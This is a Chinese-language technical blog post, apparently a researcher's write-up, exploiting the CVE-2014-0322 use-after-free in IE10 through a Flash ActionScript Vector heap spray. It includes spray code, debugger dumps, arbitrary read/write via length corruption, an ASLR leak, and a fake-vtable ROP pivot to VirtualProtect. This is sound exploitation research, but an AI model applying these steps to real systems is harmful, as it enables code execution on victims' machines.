CVE-2014-0322 Exploit ActionScript Heap Spray
栏目: JavaScript · 发布时间: 6年前
内容简介:之前调试CVE-2014-0322这个洞的时候用的是Js的heapspray技术,这几天因为在项目中尝试一点新的利用方法稍微做了点关于ActionScript的喷射利用技术,还是挺有意思,不过也是和Js的heapspray技术差不太多。总体利用思路是通过漏洞修改数组长度达到地址任意读写,继而leak基址构造rop,修改虚表指针达到控制eip跳到rop链。调试环境:CVE-2014-0322在之前的漏洞分析文章中已经提过了,一个经典的UAF漏洞,通过控制内存占位可以达到inc一个字节的目的,内存占位的poc
之前调试CVE-2014-0322这个洞的时候用的是Js的heapspray技术,这几天因为在项目中尝试一点新的利用方法稍微做了点关于ActionScript的喷射利用技术,还是挺有意思,不过也是和Js的heapspray技术差不太多。总体利用思路是通过漏洞修改数组长度达到地址任意读写,继而leak基址构造rop,修改虚表指针达到控制eip跳到rop链。
调试环境:
Windows 7 SP1 mshtml 10.0.9200.16438 kernel32 6.1.7601.17932 Adobe Flash 15.0.0.223
0x02 漏洞分析
CVE-2014-0322在之前的漏洞分析文章中已经提过了,一个经典的UAF漏洞,通过控制内存占位可以达到inc一个字节的目的,内存占位的poc
function handler() { this.outerHTML = this.outerHTML; elem = document.createElement("div"); elem.className = add(0x7c/2) + dword2date(0x12121008) + add(0x14/2) + dword2date(0x12121000) + dword2date(0x12121008) + add(0x10/2) + dword2date(0x12120ff3) + add(0x290/2-2); }
0x03 ActionScript Vector 喷射
测试采用的是Flash 15的版本(实际测试15、16、17、18都可以很好的支持)
public function Main():void { for (var i:int = 0; i < spray.length; i++) { spray[i] = new Vector.<uint>(1008) spray[i][1] = 0x12121014 spray[i][2] = 0x12120d28 } }
这样可以在IE10的环境下(IE11也支持)精确的喷射。
0:018> dd 12122000 12122000 000003f0 064b2000 00000000 12121014 12122010 12120d28 00000000 00000000 00000000 12122020 00000000 00000000 00000000 00000000 12122030 00000000 00000000 00000000 00000000 12122040 00000000 00000000 00000000 00000000 12122050 00000000 00000000 00000000 00000000 12122060 00000000 00000000 00000000 00000000 12122070 00000000 00000000 00000000 00000000 0:018> dd 12123000 12123000 000003f0 064b2000 00000000 12121014 12123010 12120d28 00000000 00000000 00000000 12123020 00000000 00000000 00000000 00000000 12123030 00000000 00000000 00000000 00000000 12123040 00000000 00000000 00000000 00000000 12123050 00000000 00000000 00000000 00000000 12123060 00000000 00000000 00000000 00000000 12123070 00000000 00000000 00000000 00000000
可以看出每一个Vector对象中第一个dword是对象的大小,第二个是应该是对象指针,第三个dword以后就是Vector的数据了,这样我们就可以通过漏洞修改某一个Vector数组的长度直接数组越界写,在修改下一个Vector的长度为0xffffffff直接达到内存任意读写目的(这里adobe居然没有进行任何安全检查简直ZZ Orz)
0x04 内存任意读写
在将一个Vector的长度修改以后,接下来就可以越界读写后一个Vector的长度大小,直接简单粗暴修改为0xffffffff,内存任意读写
0:018> dd 12122000 12122000 ffffffff 05f32000 00000000 12121014 12122010 12120d28 00000000 00000000 00000000 12122020 00000000 00000000 00000000 00000000 12122030 00000000 00000000 00000000 00000000 12122040 00000000 00000000 00000000 00000000 12122050 00000000 00000000 00000000 00000000 12122060 00000000 00000000 00000000 00000000 12122070 00000000 00000000 00000000 00000000
0x05 leak基址 & Bypass ASLR
leak基址就很简单了,已经内存任意读,读到Vector对象的虚表地址,直接根据偏移就可以计算出Flash的加载基址,获得Flash的基址以后,在根据Flash的导入表就可以得到VritualProtect地址,根据leak的VritualProtect地址就可以很方便的构造一个非常简单的rop链。
0x06 控制eip & Bypass DEP
控制eip我们需要修改Vector对象的虚表,将Vector的虚表指针修改成堆上的地址,在调用Vector的函数控制eip。
write(spray[i][i2 + 1] - 1, 0x12122008, i) //将Vector对象的虚表改为堆上的地址,伪造一个虚表 //伪造一个虚表,使得执行writeUTF函数的时候指向的是xchg_eax_esp的地址,达到控制eip的效果,在bypass DEP spray[i][00] = virtualprotect_addr spray[i][01] = 0x121220a0 spray[i][02] = 0x12122018 spray[i][03] = 0x200 spray[i][04] = 0x40 spray[i][05] = 0x12122008 spray[i][35] = xchg_eax_esp_addr //调用虚函数,控制EIP ba.writeUTF("calc")
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